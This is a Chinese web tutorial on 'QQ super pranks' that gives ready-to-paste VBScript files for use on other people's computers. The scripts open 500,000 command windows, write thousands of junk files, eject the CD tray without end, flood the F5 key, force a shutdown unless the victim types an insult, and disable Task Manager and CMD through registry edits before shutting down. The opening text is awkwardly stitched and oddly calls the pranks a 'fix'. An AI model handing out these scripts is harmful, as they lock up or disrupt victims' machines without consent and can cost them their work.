传授qq超级整人【操作门径】

俗话说，活到老学到老，所以我们对于电脑的新知识也应该是能学就学。今天我就来讲讲关于qq超级整人的这种情况，很大比例的用户以前不曾见过qq超级整人这种情况，因而小伙伴们都没有比较好的解决方法，想要尽快解决qq超级整人的困扰？我们依照1：新建立一个本文文档，然后在复制代码粘贴上去。最后，改后缀名为vbs2：以下代码的作用是打开50万个cmd.exe500000是打开cmd.exe的数量.--------------------------------------------------------------------------------Set shell=CreateObject("wscript.Shell")a=1Doshell.Run "cmd /k MODE con: COLS=14 LINES=5&@echo off & color "&a&"7 &echo "&a&" "If a=500000 Then Exit doa=a+1loop--------------------------------------------------------------------------------来处理就行了，为了让大家更方便快捷的处理qq超级整人，黑马系统的小编还为大家准备了非常详细的处理步骤。

1：新建立一个本文文档，然后在复制代码粘贴上去。最后，改后缀名为vbs

2：以下代码的作用是打开50万个cmd.exe

500000是打开cmd.exe的数量.

--------------------------------------------------------------------------------

Set shell=CreateObject("wscript.Shell")

a=1

Do

shell.Run "cmd /k MODE con: COLS=14 LINES=5&@echo off & color "&a&"7 &echo "&a&" "

If a=500000 Then Exit do

a=a+1

loop

--------------------------------------------------------------------------------

3：此代码的作用是生成5000个滑稽文件名字分别为滑稽 滑稽1 滑稽2 滑稽3………

5000可以更改改为多少个就生成多少个滑稽文件

--------------------------------------------------------------------------------

Do Until t_i=1

t_i=t_i+1

T=T+"滑稽 "

Loop

Do

Set fs = CreateObject("Scripting.FileSystemObject")

Set f = fs.OpenTextFile(I&".滑稽", 2, True, -2)

f.Write T

f.Close

I=I+1

If I = 5000 then

Exit Do

End If

Loop

--------------------------------------------------------------------------------

4：无限弹出光驱：

-------------------------------------------------------------------------------

set wmp=createobject("wmplayer.ocx") 

set cd=wmp.cdromcollection.item(0) 

do 

cd.eject 

loop 

--------------------------------------------------------------------------------

5：无尽刷新：

慎用，如此刷新打开任务管理器都难，只能拔掉电源。

--------------------------------------------------------------------------------

set ws=createobject("wscript.shell") 

do 

ws.sendkeys "{f5}" 

loop 

--------------------------------------------------------------------------------

6：on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是白痴，我是天下第一大2B不说宝宝，我是天下第一大2B就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "宝宝，我是天下第一大脑残") a = inputbox ("宝宝，我是天下第一大神经,就不关机，快撒，说 ""宝宝，我是天下第一大2B""　","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，乖乖" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦？？" 

7：有什么效果你可以自己试试

--------------------------------------------------------------------------------

set s=createobject("wscript.shell") set bag=getobject("winmgmts:\. ootcimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD",1,"REG_DWORD" for i=1 to 60 s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48 next Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next 

--------------------------------------------------------------------------------

上面给大家介绍的就是关于qq超级整人，方法还是很简单的，如果还有不清楚的可以参考以上的教程，小编会竭尽所能把大家想知道的电脑知识分享开来。

Tags：